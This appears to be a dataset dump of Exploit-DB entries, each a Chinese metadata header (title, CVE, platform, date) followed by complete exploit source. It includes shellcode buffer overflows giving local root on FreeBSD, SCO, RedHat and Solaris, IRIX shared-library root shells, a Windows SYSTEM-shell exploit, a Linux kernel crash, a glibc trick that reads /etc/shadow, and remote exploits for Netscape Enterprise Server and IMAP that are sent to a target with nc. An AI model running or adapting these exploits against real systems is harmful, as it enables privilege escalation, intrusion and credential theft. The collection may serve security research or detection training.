QLWD/code_shield huggingface dataset:
标题: FreeBSD 3.5.1/4.2 - Ports Package 'elvrec' Local Privilege Escalation EDB-ID: 287 CVE: 2001-0220 类型: LOCAL 平台: BSD 发布日期: 2001-03-03 漏洞利用脚本: /*
 * ja-elvis & ko-helvis - FreeBSD 3.5.1 & 4.2 ports package local root exploit
 *
 * vulnerable: versions prior to ja-elvis-1.8.4_1 and ko-helvis-1.8h2_1
 * 
 * The above two packages contain a file recovery utility 'elvrec', installed
 * suid root(4755) by default. The utility is subject to a buffer overflow 
 * leading to root privileges:
 *
 * Usage: ./elvwreck <offset> <alignment>
 * 
 * dethy@synnergy.net // www.synnergy.net
 * 28 Feb 2001.
 *
 */ 

#include <stdio.h>
#include <stdlib.h>
#define PROG "/usr/local/bin/elvrec"
#define VULN 608
#define BSIZE 1024
#define NOP 0x90
#define ESP 0xbfbff92c // FreeBSD 4.2
#define OFFSET 0
#define EATME 1  // byte alignment

char shellcode[]= 
  "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
  "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
  "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
  "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
  "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
  "\x02\x02\x02/bin/sh.-c.sh";

int main(int argc, char *argv[]) {
  char buffer[BSIZE];
  long address=ESP;
  int i, offset, align;

  if(argc > 1) { offset = atoi(argv[1]); align = atoi(argv[2]); } 
  else { offset = OFFSET; align = EATME; }

  address += offset;
  fprintf(stderr, "\n* using ret %#x -> align %d -> offset %d\n\n", address, align, offset); 

  for(i=align; i<VULN; i+=4){ *(long *)&buffer[i] = address; }
  for(i=VULN; i<(BSIZE - strlen(shellcode) - 100); i++){ buffer[i] = NOP; }
  memcpy(buffer+i, shellcode, strlen(shellcode));
  buffer[BSIZE] = '\0';

  if(execlp(PROG, "elvrec", buffer, 0)) {
    fprintf(stderr, "Unable to execute %s\n\n", PROG);
    exit(1);
  }
}


// milw0rm.com [2001-03-03] URL: https://www.exploit-db.com/exploits/287
标题: IRIX 5.3/6.2/6.3/6.4/6.5/6.5.11 - '/usr/lib/print/netprint' Local Privilege Escalation EDB-ID: 270 CVE: 2001-0485 类型: LOCAL 平台: IRIX 发布日期: 2001-05-08 漏洞利用脚本: #!/bin/sh
## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
## /usr/lib/print/netprint                                                     #
##                                                                             #
## This code gets released due to another post to the Bugtraq mailing list.    #
## For IRIX 6.3 and above this privilage escalation attack can be conducted    #
## by local lp users only.                                                     #

EXECUTABLE=/usr/lib/print/netprint
LIBRARY=lsd
DIRECTORY=/tmp

cd $DIRECTORY
cat > $LIBRARY.c << 'EOF'
OpenConn(){
    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
    printf("/usr/lib/print/netprint for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
    printf("\n");
    setreuid(getuid(),0);setuid(0);setgid(0);
    execl("/bin/sh","sh",0);
}
CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
RemoveSemiColons(){} ListAllPrinters(){} CreateInterface(){} InstallPrinter(){}
InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){}
EOF
cc -c $LIBRARY.c  -o $LIBRARY.o
ld -shared $LIBRARY.o -o $LIBRARY.so
rm -rf $LIBRARY.[co] so_locations
if [ ! -f "$LIBRARY.so" ]
    then
    echo "error: building library"
    exit 1
fi
chmod 666 $LIBRARY.so

$EXECUTABLE -n ../../../../$DIRECTORY/$LIBRARY -h localhost -p lalala bzz-zz


# milw0rm.com [2001-05-08] URL: https://www.exploit-db.com/exploits/270
标题: Linux Kernel 2.6.3 - 'setsockopt' Local Denial of Service EDB-ID: 274 CVE: 2004-0424 类型: DOS 平台: LINUX 发布日期: 2004-04-21 漏洞利用脚本: /* setsockopt proof of concept code by Julien TINNES (julien a.t cr0.org)
vulnerability found (as always by Paul Starzetz

This is only a lame POC which will crash the machine, no root shell here.
Maybe later, when everybody will have an updated box.

It should work on 2.6.1, 2.6.2 and 2.6.3 kernels.

Greets to Christophe Devine, too bad you wasn't with me for this one.

*/


#include <errno.h>
void perror (const char *s);

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/socket.h>

#define SOL_IP 0
#define MCAST_MSFILTER 48

/* mynumsrc and alloc_room control the overflow
* what we write can be controlled too (not needed
* here but needed for rootshell exploit
*/

#define mynumsrc 0x100 /* 0x100 should be enough, can be tweaked */
#define alloc_room 1 /* let it alocate only one u32 */

struct mygroup_filter
{
__u32 gf_interface; /* interface index */
struct sockaddr_storage gf_group; /* multicast address */
__u32 gf_fmode; /* filter mode */
__u32 gf_numsrc; /* number of sources */
struct sockaddr_storage gf_slist[mynumsrc]; /* interface index */
};


void
main (void)
{

int mysocket;
int sockprot;
struct mygroup_filter mygroup;
int optlen;
int i;
struct sockaddr_in *psin;

mygroup.gf_interface = 0;
mygroup.gf_numsrc = (1 << 30) - 4 + alloc_room;

mygroup.gf_group.ss_family = AF_INET;



for (i = 0; i < mynumsrc; i++)
{
psin = (struct sockaddr_in *) &mygroup.gf_slist[i];
psin->sin_family = AF_INET;
}


mysocket = socket (PF_INET, SOCK_STREAM, 0);

if (mysocket == -1)
{
perror ("Socket creation error: ");
exit (1);
}

optlen = sizeof (struct mygroup_filter);

printf ("Calling setsockopt(), this should crash the box...\n");
sockprot = setsockopt (mysocket, SOL_IP, MCAST_MSFILTER, &mygroup, optlen);

if (sockprot == -1)
{
perror ("Invalid setsockopt: ");
exit (1);
}
}




// milw0rm.com [2004-04-21] URL: https://www.exploit-db.com/exploits/274
标题: IRIX 5.3/6.2/6.3/6.4/6.5/6.5.11 - '/usr/bin/lpstat' Local Overflow / Local Privilege Escalation EDB-ID: 265 CVE: 2000-0795 类型: LOCAL 平台: IRIX 发布日期: 2001-05-07 漏洞利用脚本: #!/bin/sh
## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
## /usr/bin/lpstat                                                             #

EXECUTABLE=/usr/bin/lpstat
FILE=file
LIBRARY=lsd
DIRECTORY=tmp

cd $DIRECTORY
cat > $FILE << 'EOF'
HOSTNAME=localhost
HOSTPRINTER=bzzz-z
EOF
echo NETTYPE=../../../../$DIRECTORY/lsd >> $FILE
chmod 666 $FILE
cat > $LIBRARY.c << 'EOF'
OpenConn(){
    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
    printf("/usr/bin/lpstat for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
    printf("\n");
    setreuid(getuid(),0);setuid(0);setgid(0);
    execl("/bin/sh","sh",0);
}
CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
RemoveSemiColons(){} CreateInterface(){} InstallPrinter(){}
InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){} ListAllPrinters(){}
EOF
cc -c $LIBRARY.c -c -o $LIBRARY.o
ld -shared $LIBRARY.o -o $LIBRARY.so
rm -rf $LIBRARY.[co] so_locations
if [ ! -f "$LIBRARY.so" ]
    then
    echo "error: building library"
    exit 1
fi
chmod 666 $LIBRARY.so

$EXECUTABLE -n ../../../../../$DIRECTORY/$FILE

# milw0rm.com [2001-05-07] URL: https://www.exploit-db.com/exploits/265
标题: SCO OpenServer 5.0.5 - Env Local Stack Overflow EDB-ID: 261 CVE: 1999-1185 1999-1041 类型: LOCAL 平台: SCO 发布日期: 2001-01-26 漏洞利用脚本: /*      Copyright (c) 2000 ADM                                  */
/*      All Rights Reserved                                     */
/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */
/*                                                              */
/*      Title:        SCO OpenServer mscreen                    */
/*      Tested under: SCO OpenServer 5.0.5                      */
/*      By:           K2                                        */
/*      Use:          gcc -o mscreen sco-mscreen.c              */
/*                                                              */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
  /* doble@iname.com */
   "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
   "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
   "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
   
#define SIZE 130
#define NOPDEF 40
#define DEFOFF -200
#define EGG 500

const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];
char egg[EGG];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i;
    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    else
        nop = NOPDEF;
    esp = get_esp();
    memset(egg,x86_nop,EGG);
    memcpy(egg+300, shell, strlen(shell));
    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));
    for (i = 1; i < SIZE-4; i += 4) {
        *((int *) &buffer[i]) = esp+offset;
    }
    memcpy(egg,"HOSTNAME=",9);  /* just playin */
    memcpy(buffer,"TERM=",5);   /* here's the overflow */
    putenv(egg);
    putenv(buffer);
    printf("offset = [0x%x]\n",esp+offset);
    execl("/usr/bin/mscreen", "mscreen", NULL);
    printf("exec failed!\n");
    return 0;
}


// milw0rm.com [2001-01-26] URL: https://www.exploit-db.com/exploits/261
标题: Microsoft Windows Utility Manager - Local Privilege Escalation (MS04-011) EDB-ID: 271 CVE: 2003-0908 类型: LOCAL 平台: WINDOWS 发布日期: 2004-04-15 漏洞利用脚本: // By Cesar Cerrudo cesar appsecinc com
// Local elevation of priviliges exploit for Windows Utility Manager
// Gives you a shell with system privileges
// If you have problems try changing Sleep() values.

#include <stdio.h> 
#include <windows.h> 
#include <commctrl.h>
#include <Winuser.h>

int main(int argc, char *argv[]) 
{ 
  HWND lHandle, lHandle2;
  POINT point;

  char sText[]="%windir%\\system32\\cmd.ex?";

  // run utility manager
  system("utilman.exe /start");
  Sleep(500);

  // execute contextual help
  SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
  Sleep(500);

  // open file open dialog windown in Windows Help
  PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
  Sleep(500);

  // find open file dialog window
  lHandle = FindWindow("#32770","Open");

  // get input box handle
  lHandle2 = GetDlgItem(lHandle, 0x47C);
  Sleep(500);

  // set text to filter listview to display only cmd.exe
  SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
  Sleep(800);

  // send return
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

  //get navigation bar handle
  lHandle2 = GetDlgItem(lHandle, 0x4A0);
  //send tab
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  Sleep(500);
  lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  //get list view handle
  lHandle2 = GetDlgItem(lHandle2, 0x1);

  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  Sleep(500);
  
  // popup context menu
  PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  Sleep(1000);

  // get context menu handle
  point.x =10; point.y =30;
  lHandle2=WindowFromPoint(point);

  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

  SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window

  return(0);
}




// milw0rm.com [2004-04-15] URL: https://www.exploit-db.com/exploits/271
标题: Netscape Enterprise Server 4.0/sparc/SunOS 5.7 - Remote Command Execution EDB-ID: 263 CVE: 1999-0744 类型: REMOTE 平台: SOLARIS 发布日期: 2001-01-27 漏洞利用脚本: #!/usr/bin/perl

#
# Remote sploit for Netscape Enterprise Server 4.0/sparc/SunOS 5.7
# usage: ns-shtml.pl ['command line'] | nc victim port
#
# Sometimes server may hang or coredump.. eek ;-)
# fyodor@relaygroup.com

$cmdline="echo 'ingreslock stream tcp nowait root /bin/sh sh -i' > /tmp/bob; /usr/sbin/inetd -s /tmp/bob";
$cmdline=$ARGV[0] if $ARGV[0];


$nop='%80%1b%c0%1f';
$strlen=0x54 + length($cmdline);
$cmdline=~ s/ /%20/g; # encode bad characters..
$strlen=sprintf "%%%x", $strlen;

$shell=
'%20%bf%ff%ff' .#  start: bn,a <start-4>     ! super-dooper trick to get current address ;')
'%20%bf%ff%ff' .#  boom: bn,a  <start>
'%7f%ff%ff%ff' .#    call boom
'%90%03%e0%48' .#    add %o7, binksh - boom, %o0       ! put binksh address into %o0
'%92%03%e0%38' .#    add %o7, argz - boom, %o1         ! put address of argz array into %o1
'%a0%03%e0%51' .#    add %o7, minusc - boom, %l0       ! put address of -c argument into %l0
'%a2%03%e0%54' .#    add %o7, cmdline - boom, %l1      ! put address of command line argument into %l1
'%c0%2b%e0%50' .#    stb %g0, [ %o7 + minusc-boom-1 ]  ! put ending zero byte at the end of /bin/sh
'%c0%2b%e0%53' .#  stb %g0, [ %o7 + cmdline-boom-1 ] ! put ending zero byte at the end of -c
'%c0%2b%e0' . $strlen .#        stb %g0, [ %o7 + endmark-boom-1 ] ! put ending zero byte at the end of command line
'%d0%23%e0%38' .#  st %o0, [ %o7 + argz-boom ]       ! store pointer to ksh into 0 element of argz
'%e0%23%e0%3c' .#  st %l0, [ %o7 + argz-boom+4 ]     ! store pointer to -c into 1 element of argz
'%e2%23%e0%40' .#  st %l1, [ %o7 + argz-boom+8 ]     ! store pointer to cmdline into 2 element of argz
'%c0%23%e0%44' .#  st %g0, [ %o7 + argz-boom+12 ]    ! store NULL pointer at the end
'%82%10%20%0b' .#  mov 0xb, %g1
'%91%d0%20%08' .#  ta 8
'%ff%ff%ff%ff'.  # 40 argz: 0xffffffff;
'%ff%ff%ff%ff'.   # 44       0xffffffff;
'%ff%ff%ff%ff'.   # 48        0xffffffff;
'%ff%ff%ff%ff'.   # 52       0xffffffff;
'/bin/kshA' .     # 56  binksh: "/bin/kshA";
'-cA' . $cmdline . 'A'; # cmdline: "blahblahA";

##################################################
# Generate huge GET /..<shellcode>...shtml here  #
##################################################
$padd=814-length($shell);
print STDERR "pad is $padd\n";

print "GET /";

print $nop x 40;
print $she11;
print "A"x $padd;

print "\xfd\xe7%dc\x80"; # %i0
print "AAAA"; # %i1
print "AAAA"; # %i2
print "AAAA"; # %i3
print "AAAA"; # %i4
print "AAAA"; # %i5
print '%fd%c3%16%58'; #%fp (%i6)
print '%ff%21%d7%ac'; # %i7
print "A"x1200;

print ".shtml HTTP/1.0\n\n";


# milw0rm.com [2001-01-27] URL: https://www.exploit-db.com/exploits/263
标题: SquirrelMail - 'chpasswd' Local Buffer Overflow EDB-ID: 273 CVE: 2004-0524 类型: LOCAL 平台: LINUX 发布日期: 2004-04-20 漏洞利用脚本: /*
* 0x3142-sq-chpasswd.c
* Squirremail chpasswd buffer overflow.
*
* Tested on SuSE 9.
* The bug was found by Matias Neiff <matias neiff com ar>
* Coded by x314 <0x3142 hushmail.com>
* (c) 2004 Copyright by x314.
* All Rights Reserved.
*
* Greets: m0s krewz. 
*
*/

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
char *env[2] = {shellcode, NULL};
int i;
long ret, *addr_ptr;
char *buffer, *ptr;

buffer = malloc(200);

printf("\n*** Squirremail chpasswd local root exploit by 0x3142@hushmail.com ***\n\n");

if(argc != 2) {
printf("Usage: %s <path-to-chpasswd>\n\n",argv[0]);
exit(0);
}

ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);

// printf("Using ret = 0x%x\n\n", ret);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 200; i+=4)
{
*(addr_ptr++) = ret;
}

buffer[200-1] = 0;

execle(argv[1], "chpasswd", buffer, "0x314", "m0s", 0, env);

free(buffer);

return 0;
}




// milw0rm.com [2004-04-20] URL: https://www.exploit-db.com/exploits/273
标题: IMAP4rev1 10.190 - Authentication Stack Overflow EDB-ID: 253 CVE: 2000-0284 类型: REMOTE 平台: LINUX 发布日期: 2001-01-19 漏洞利用脚本: #!/usr/bin/perl

## * Successfully tested on IMAP4rev1 v10.190 *
## Written by: teleh0r@doglover.com / anno 2000
##
## This is nothing new - just wrote it for fun.

$shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".
             "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".
             "\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".
             "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".
             "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".
             "\x2f\x32\x39\x3e\x2f\x43\x38";


$len = 1052;       # Sufficient to overwrite the return value.
$nop = A;          # Using A/0x41 as nops to try to fool IDS.
$ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.

if (@ARGV < 2) {
    print("Usage: $0 <target> <offset>\n");
    exit(1);
}

($target, $offset) = @ARGV;

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

$exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";

system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");


# milw0rm.com [2001-01-19] URL: https://www.exploit-db.com/exploits/253
标题: RedHat 6.1 - 'man' Local Overflow / Local Privilege Escalation EDB-ID: 255 CVE: 2000-0170 类型: LOCAL 平台: LINUX 发布日期: 2001-01-19 漏洞利用脚本: #!/usr/bin/perl

##  Redhat 6.1 man exploit - gives egid 15
##  Written just for fun - teleh0r@doglover.com


$shellcode =  "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07".
              "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b".
              "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff".
              "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";


$len = 4062;        # -- Sufficient to overwrite EIP.
$nop = "\x90";      # -- x86 NOP.
$ret = 0xbfffbb24;  # -- ESP / Return value.
$offset = -800;     # -- Default offset to try.


if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

# [ Buffer: NNNNNNNNNNNNNN ]

# Add the shellcode to the buffer.

$buffer .= $shellcode;

# [ Buffer: NNNNNNNNNNNNNNSSSSS ]

$address = sprintf('%lx', ($ret + $offset));
$new_ret = pack('l', ($ret + $offset));

print("Address: 0x$address / Offset: $offset\n");
sleep(1);

# Fill the rest of the buffer (length 100) with RET's.

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]

local($ENV{'MANPAGER'}) = $buffer; exec("/usr/bin/man id");


# milw0rm.com [2001-01-19] URL: https://www.exploit-db.com/exploits/255
标题: glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read EDB-ID: 258 CVE: 2001-0170 类型: LOCAL 平台: LINUX 发布日期: 2001-01-25 漏洞利用脚本: # Charles Stevenson <csteven@newhope.terraplex.com>
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****krochos@linuxmail.org****)
# Edit this if you have a problem with path

ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow        # File to read
###############################################################################

echo "$ssh"
echo "[*] Checking permisions..."

if [ ! -u $ssh ]; then
        echo "$ssh is NOT setuid on this system or does not exist at all!"
        if [ ! -u $traceroute ]; then
          echo "$traceroute is NOT setuid on this system or does not exist at all!"
          exit 0
        fi
fi

export RESOLV_HOST_CONF=$FILE

echo "[*] Glibc bug found by Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM>"
echo "[*] krochos@linuxmail.org"
sleep 1
echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
ssh lt 2>/tmp/.resolv
cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '

# milw0rm.com [2001-01-25] URL: https://www.exploit-db.com/exploits/258
标题: Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow EDB-ID: 252 CVE: 1999-0821 类型: LOCAL 平台: LINUX 发布日期: 2001-01-15 漏洞利用脚本: #!/usr/bin/perl

## (c) Copyright teleh0r@doglover.com / anno domani 2000
##
## Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
## Tested on: RedHat 4.0/5.1
##
## Greets: scrippie, *@HWA, grazer, mixter, pr0ix, s\
## http://www.digit-labs.org/ || http://teleh0r.cjb.net/


$shellcode =
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */


$ret = 0xbfffef96;
$egg = 500;
$len = 208;
$nop = 'A';

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

if (!($ENV{'DISPLAY'})) {
    die("Error: the shell variable DISPLAY is not set.\n");
}

$buffer .= $nop;
$new_ret = pack('l',($ret + $offset));

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
sleep(1);

for ($i = 0; $i < $len; $i += 4) {
    $buffer .= pack('l',($ret + $offset));
}

for ($i = 0; $i < ($egg - length($shellcode)); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode; 

# seyon uses X, so if there is no X server running, or you
# are not allowed to connect to it, start X on your machine, 
# and using xhost, allow the target to connect to your server, 
# then: export DISPLAY=your-ip:0.0 - and execute the exploit. 

exec("/usr/X11R6/bin/seyon -noemulator \"$buffer\"");


# milw0rm.com [2001-01-15] URL: https://www.exploit-db.com/exploits/252
标题: Solaris 7/8-beta - ARP Local Overflow EDB-ID: 250 CVE: 2001-0115 类型: LOCAL 平台: SOLARIS 发布日期: 2001-01-15 漏洞利用脚本: /*
   arp overflow proof of concept by ahmed@securityfocus.com
   shellcode originally written by Cheez Whiz.

                              tested on x86 solaris 7,8beta
   default should work.  if not, arg1 = offset. +- by 100's

   Copyright Security-Focus.com, 11/2000
*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{
  char shell[] =
    "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
    "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
    "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
    "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
    "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
    "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
    "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
    "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
    "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
    "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff";

  unsigned long magic = 0x8047b78;
  unsigned long r = get_esp() + 600;
  unsigned char buf[300];
  int f;

  if (ac == 2)
    r += atoi(av[1]);

  memset(buf,0x61,sizeof(buf));
  memcpy(buf+52,&magic,4);
  memcpy(buf+76,&r,4);

  f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
  write(f,"1 2 3 4 ",8);
  write(f,buf,sizeof(buf));
  close(f);

  memset(buf,0x90,sizeof(buf));
  memcpy(buf,"LOL=",4);
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  putenv(buf);

  system("/usr/sbin/arp -f /tmp/ypx");
  unlink("/tmp/ypx");
}


// milw0rm.com [2001-01-15] URL: https://www.exploit-db.com/exploits/250